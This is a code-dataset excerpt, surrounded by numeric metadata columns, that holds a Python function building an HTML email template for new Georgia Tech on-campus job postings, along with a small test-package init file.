| 0.217284
| 0.0715
| 0.047666
| 0.019861
| 0.821251
| 0.821251
| 0.821251
| 0.821251
| 0.821251
| 0.779543
| 0
| 0
| 0.229054
| 2,960
| 70
| 163
| 42.285714
| 0.882559
| 0.32027
| 0
| 0.722222
| 0
| 0
| 0.003514
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055556
| false
| 0
| 0.166667
| 0
| 0.277778
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1d6c5627e048907f76589f54208bb07662ff6024
| 34,149
|
py
|
Python
|
email_templates/new_job_info.py
|
atush-dhakal/GT-MW-Notifier
|
3873e30c772c5885ca8935665cc22966353264c6
|
[
"MIT"
] | 1
|
2022-02-18T05:10:41.000Z
|
2022-02-18T05:10:41.000Z
|
email_templates/new_job_info.py
|
atush-dhakal/GT-MW-Notifier
|
3873e30c772c5885ca8935665cc22966353264c6
|
[
"MIT"
] | null | null | null |
email_templates/new_job_info.py
|
atush-dhakal/GT-MW-Notifier
|
3873e30c772c5885ca8935665cc22966353264c6
|
[
"MIT"
] | 2
|
2021-01-04T13:58:28.000Z
|
2021-12-31T22:16:58.000Z
|
def get_new_job_email_template(job_title, start_date, end_date, pay_rate, work_study, positions_available, location, hours, description, contact_name, contact_email):
return f"""
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:o="urn:schemas-microsoft-com:office:office" style="width:100%;font-family:arial, 'helvetica neue', helvetica, sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;padding:0;Margin:0">
<head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1" name="viewport">
<meta name="x-apple-disable-message-reformatting">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="telephone=no" name="format-detection">
<title>GT On-Campus Job | New Job Posting</title>
<!--[if (mso 16)]>
<style type="text/css">
a {{text-decoration: none;}}
</style>
<![endif]-->
<!--[if gte mso 9]><style>sup {{ font-size: 100% !important; }}</style><![endif]-->
<!--[if gte mso 9]>
<xml>
<o:OfficeDocumentSettings>
<o:AllowPNG></o:AllowPNG>
<o:PixelsPerInch>96</o:PixelsPerInch>
</o:OfficeDocumentSettings>
</xml>
<![endif]-->
<style type="text/css">
#outlook a {{
padding:0;
}}
.ExternalClass {{
width:100%;
}}
.ExternalClass,
.ExternalClass p,
.ExternalClass span,
.ExternalClass font,
.ExternalClass td,
.ExternalClass div {{
line-height:100%;
}}
.es-button {{
mso-style-priority:100!important;
text-decoration:none!important;
}}
a[x-apple-data-detectors] {{
color:inherit!important;
text-decoration:none!important;
font-size:inherit!important;
font-family:inherit!important;
font-weight:inherit!important;
line-height:inherit!important;
}}
.es-desk-hidden {{
display:none;
float:left;
overflow:hidden;
width:0;
max-height:0;
line-height:0;
mso-hide:all;
}}
@media only screen and (max-width:600px) {{p, ul li, ol li, a {{ font-size:16px!important; line-height:150%!important }} h1 {{ font-size:30px!important; text-align:center; line-height:120%!important }} h2 {{ font-size:26px!important; text-align:center; line-height:120%!important }} h3 {{ font-size:20px!important; text-align:center; line-height:120%!important }} h1 a {{ font-size:30px!important }} h2 a {{ font-size:26px!important }} h3 a {{ font-size:20px!important }} .es-menu td a {{ font-size:16px!important }} .es-header-body p, .es-header-body ul li, .es-header-body ol li, .es-header-body a {{ font-size:16px!important }} .es-footer-body p, .es-footer-body ul li, .es-footer-body ol li, .es-footer-body a {{ font-size:16px!important }} .es-infoblock p, .es-infoblock ul li, .es-infoblock ol li, .es-infoblock a {{ font-size:12px!important }} *[class="gmail-fix"] {{ display:none!important }} .es-m-txt-c, .es-m-txt-c h1, .es-m-txt-c h2, .es-m-txt-c h3 {{ text-align:center!important }} .es-m-txt-r, .es-m-txt-r h1, .es-m-txt-r h2, .es-m-txt-r h3 {{ text-align:right!important }} .es-m-txt-l, .es-m-txt-l h1, .es-m-txt-l h2, .es-m-txt-l h3 {{ text-align:left!important }} .es-m-txt-r img, .es-m-txt-c img, .es-m-txt-l img {{ display:inline!important }} .es-button-border {{ display:block!important }} .es-btn-fw {{ border-width:10px 0px!important; text-align:center!important }} .es-adaptive table, .es-btn-fw, .es-btn-fw-brdr, .es-left, .es-right {{ width:100%!important }} .es-content table, .es-header table, .es-footer table, .es-content, .es-footer, .es-header {{ width:100%!important; max-width:600px!important }} .es-adapt-td {{ display:block!important; width:100%!important }} .adapt-img {{ width:100%!important; height:auto!important }} .es-m-p0 {{ padding:0px!important }} .es-m-p0r {{ padding-right:0px!important }} .es-m-p0l {{ padding-left:0px!important }} .es-m-p0t {{ padding-top:0px!important }} .es-m-p0b {{ padding-bottom:0!important }} .es-m-p20b {{ padding-bottom:20px!important }} .es-mobile-hidden, .es-hidden {{ display:none!important }} tr.es-desk-hidden, td.es-desk-hidden, table.es-desk-hidden {{ width:auto!important; overflow:visible!important; float:none!important; max-height:inherit!important; line-height:inherit!important }} tr.es-desk-hidden {{ display:table-row!important }} table.es-desk-hidden {{ display:table!important }} td.es-desk-menu-hidden {{ display:table-cell!important }} .es-menu td {{ width:1%!important }} table.es-table-not-adapt, .esd-block-html table {{ width:auto!important }} table.es-social {{ display:inline-block!important }} table.es-social td {{ display:inline-block!important }} a.es-button, button.es-button {{ font-size:20px!important; display:block!important; border-width:10px 0px 10px 0px!important }} }}
</style>
</head>
<body style="width:100%;font-family:arial, 'helvetica neue', helvetica, sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;padding:0;Margin:0">
<div class="es-wrapper-color" style="background-color:#F6F6F6">
<!--[if gte mso 9]>
<v:background xmlns:v="urn:schemas-microsoft-com:vml" fill="t">
<v:fill type="tile" color="#f6f6f6"></v:fill>
</v:background>
<![endif]-->
<table class="es-wrapper" width="100%" cellspacing="0" cellpadding="0" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;padding:0;Margin:0;width:100%;height:100%;background-repeat:repeat;background-position:center top">
<tr style="border-collapse:collapse">
<td valign="top" style="padding:0;Margin:0">
<table class="es-content" cellspacing="0" cellpadding="0" align="center" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;table-layout:fixed !important;width:100%">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0">
<table class="es-content-body" cellspacing="0" cellpadding="0" bgcolor="#ffffff" align="center" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;background-color:#FFFFFF;width:600px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:20px;Margin:0">
<table width="100%" cellspacing="0" cellpadding="0" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td valign="top" align="center" style="padding:0;Margin:0;width:560px">
<table width="100%" cellspacing="0" cellpadding="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333">A new job was just posted</p></td>
</tr>
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><h2 style="Margin:0;line-height:29px;mso-line-height-rule:exactly;font-family:arial, 'helvetica neue', helvetica, sans-serif;font-size:24px;font-style:normal;font-weight:normal;color:#333333"><strong>{job_title}</strong></h2></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<table width="100%" cellspacing="0" cellpadding="0" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td valign="top" align="center" style="padding:0;Margin:0;width:560px">
<table width="100%" cellspacing="0" cellpadding="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0;font-size:0px"><img class="adapt-img" src="https://gtoncampusjobs.com/static/img/email.jpg" alt style="display:block;border:0;outline:none;text-decoration:none;-ms-interpolation-mode:bicubic" width="560"></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<!--[if mso]><table style="width:560px" cellpadding="0" cellspacing="0"><tr><td style="width:270px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-left" align="left" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:left">
<tr style="border-collapse:collapse">
<td class="es-m-p20b" align="left" style="padding:0;Margin:0;width:270px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Start Date</strong><br>{start_date}</p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td><td style="width:20px"></td><td style="width:270px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-right" align="right" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:right">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;width:270px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>End Date</strong><br>{end_date}</p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td></tr></table><![endif]--></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<!--[if mso]><table style="width:560px" cellpadding="0" cellspacing="0"><tr><td style="width:270px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-left" align="left" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:left">
<tr style="border-collapse:collapse">
<td class="es-m-p20b" align="left" style="padding:0;Margin:0;width:270px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Pay Rate</strong><br>{pay_rate}</p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td><td style="width:20px"></td><td style="width:270px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-right" align="right" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:right">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;width:270px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Work Study<br></strong>{work_study}<br></p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td></tr></table><![endif]--></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<table cellpadding="0" cellspacing="0" width="100%" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" valign="top" style="padding:0;Margin:0;width:560px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Positions Available</strong><br>{positions_available}<br></p></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<table cellpadding="0" cellspacing="0" width="100%" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" valign="top" style="padding:0;Margin:0;width:560px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:20px;Margin:0;font-size:0">
<table border="0" width="100%" height="100%" cellpadding="0" cellspacing="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td style="padding:0;Margin:0;border-bottom:1px solid #CCCCCC;background:none;height:1px;width:100%;margin:0px"></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<!--[if mso]><table style="width:560px" cellpadding="0" cellspacing="0"><tr><td style="width:180px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-left" align="left" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:left">
<tr style="border-collapse:collapse">
<td class="es-m-p0r es-m-p20b" valign="top" align="center" style="padding:0;Margin:0;width:180px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Location</strong></p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td><td style="width:20px"></td><td style="width:360px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" align="right" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;width:360px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333">{location}</p><strong></strong></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td></tr></table><![endif]--></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<!--[if mso]><table style="width:560px" cellpadding="0" cellspacing="0"><tr><td style="width:180px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-left" align="left" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:left">
<tr style="border-collapse:collapse">
<td class="es-m-p0r es-m-p20b" valign="top" align="center" style="padding:0;Margin:0;width:180px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Hours/Schedule</strong></p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td><td style="width:20px"></td><td style="width:360px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" align="right" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;width:360px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333">{hours}</p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td></tr></table><![endif]--></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<table cellpadding="0" cellspacing="0" width="100%" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" valign="top" style="padding:0;Margin:0;width:560px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:20px;Margin:0;font-size:0">
<table border="0" width="100%" height="100%" cellpadding="0" cellspacing="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td style="padding:0;Margin:0;border-bottom:1px solid #CCCCCC;background:none;height:1px;width:100%;margin:0px"></td>
</tr>
</table></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Description</strong></p></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333;white-space:pre-wrap">{description}</p></td>
</tr>
<tr style="border-collapse:collapse">
<td align="center" style="padding:20px;Margin:0;font-size:0">
<table border="0" width="100%" height="100%" cellpadding="0" cellspacing="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td style="padding:0;Margin:0;border-bottom:1px solid #CCCCCC;background:none;height:1px;width:100%;margin:0px"></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<!--[if mso]><table style="width:560px" cellpadding="0" cellspacing="0"><tr><td style="width:180px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-left" align="left" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:left">
<tr style="border-collapse:collapse">
<td class="es-m-p0r es-m-p20b" valign="top" align="center" style="padding:0;Margin:0;width:180px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Contact Name</strong></p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td><td style="width:20px"></td><td style="width:360px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" align="right" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;width:360px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333">{contact_name}</p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td></tr></table><![endif]--></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<!--[if mso]><table style="width:560px" cellpadding="0" cellspacing="0"><tr><td style="width:180px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" class="es-left" align="left" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;float:left">
<tr style="border-collapse:collapse">
<td class="es-m-p0r es-m-p20b" valign="top" align="center" style="padding:0;Margin:0;width:180px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333"><strong>Contact Email</strong></p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td><td style="width:20px"></td><td style="width:360px" valign="top"><![endif]-->
<table cellpadding="0" cellspacing="0" align="right" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;width:360px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:14px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:21px;color:#333333">{contact_email}</p></td>
</tr>
</table></td>
</tr>
</table>
<!--[if mso]></td></tr></table><![endif]--></td>
</tr>
<tr style="border-collapse:collapse">
<td align="left" style="padding:0;Margin:0;padding-top:20px;padding-left:20px;padding-right:20px">
<table cellpadding="0" cellspacing="0" width="100%" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" valign="top" style="padding:0;Margin:0;width:560px">
<table cellpadding="0" cellspacing="0" width="100%" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:20px;Margin:0;font-size:0">
<table border="0" width="100%" height="100%" cellpadding="0" cellspacing="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td style="padding:0;Margin:0;border-bottom:1px solid #CCCCCC;background:none;height:1px;width:100%;margin:0px"></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
<table cellpadding="0" cellspacing="0" class="es-footer" align="center" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;table-layout:fixed !important;width:100%;background-color:transparent;background-repeat:repeat;background-position:center top">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0">
<table class="es-footer-body" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px;background-color:#333333;width:600px" cellspacing="0" cellpadding="0" bgcolor="#333333" align="center">
<tr style="border-collapse:collapse">
<td align="left" style="Margin:0;padding-bottom:15px;padding-top:20px;padding-left:20px;padding-right:20px">
<table width="100%" cellspacing="0" cellpadding="0" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td valign="top" align="center" style="padding:0;Margin:0;width:560px">
<table width="100%" cellspacing="0" cellpadding="0" role="presentation" style="mso-table-lspace:0pt;mso-table-rspace:0pt;border-collapse:collapse;border-spacing:0px">
<tr style="border-collapse:collapse">
<td align="center" style="padding:0;Margin:0"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:13px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:20px;color:#F1F0F0">You are receiving this email because you are subscribed to GT On-Campus Jobs Notifier. Make sure our messages get to your Inbox (and not your bulk or junk folders).</p></td>
</tr>
<tr style="border-collapse:collapse">
<!-- <td align="center" style="padding:0;Margin:0;padding-top:5px"><p style="Margin:0;-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-size:13px;font-family:arial, 'helvetica neue', helvetica, sans-serif;line-height:20px;color:#333333"><a target="_blank" style="-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-family:arial, 'helvetica neue', helvetica, sans-serif;font-size:13px;text-decoration:underline;color:#FFFFFF" href="https://gtoncampusjobs.com/">Privacy</a> | <a target="_blank" style="-webkit-text-size-adjust:none;-ms-text-size-adjust:none;mso-line-height-rule:exactly;font-family:arial, 'helvetica neue', helvetica, sans-serif;font-size:13px;text-decoration:underline;color:#FFFFFF" href="">Unsubscribe</a><br></p></td> -->
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
</div>
</body>
</html>
"""
if __name__ == "__main__":
with open("test.html", "w") as fp:
fp.write(get_new_job_email_template("Test Title", "01-12-2021", "12-03-2021", "$15/hr", "Yes", "3", "Remote", "Mon-Fri anytime", "this is a test email", "John Doe", "johndoe@gmail.com"))
| 89.16188
| 2,778
| 0.610179
| 4,434
| 34,149
| 4.691701
| 0.07014
| 0.074028
| 0.116329
| 0.063597
| 0.820411
| 0.801711
| 0.794693
| 0.78979
| 0.782628
| 0.778253
| 0
| 0.042633
| 0.20803
| 34,149
| 382
| 2,779
| 89.395288
| 0.726567
| 0
| 0
| 0.765172
| 0
| 0.311346
| 0.990512
| 0.511392
| 0
| 0
| 0
| 0
| 0
| 1
| 0.002639
| false
| 0
| 0.031662
| 0.002639
| 0.036939
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
1d780c5a3001d8d9491fb0133e67d51a5f6fe2e5
| 93
|
py
|
Python
|
tests/__init__.py
|
andreisavu/python-sitemap
|
6466b634a39b763fcff2d60e63b866a2fd99516c
|
[
"Apache-2.0"
] | 13
|
2015-05-29T09:57:44.000Z
|
2021-08-20T06:27:24.000Z
|
tests/__init__.py
|
dilshod/python-sitemap
|
d7ee665c185268f52621955f821bd6e2f8bb7c98
|
[
"BSD-2-Clause"
] | 1
|
2017-02-12T05:32:56.000Z
|
2017-02-12T05:32:56.000Z
|
tests/__init__.py
|
dilshod/python-sitemap
|
d7ee665c185268f52621955f821bd6e2f8bb7c98
|
[
"BSD-2-Clause"
] | 10
|
2015-07-08T06:18:34.000Z
|
2020-03-01T16:04:06.000Z
|
from test_sitemapindex import *
from test_urlset import *
from test_urlsetelement import *
| 15.5
| 32
| 0.817204
| 12
| 93
| 6.083333
| 0.5
| 0.328767
| 0.383562
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150538
| 93
| 5
| 33
| 18.6
| 0.924051
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
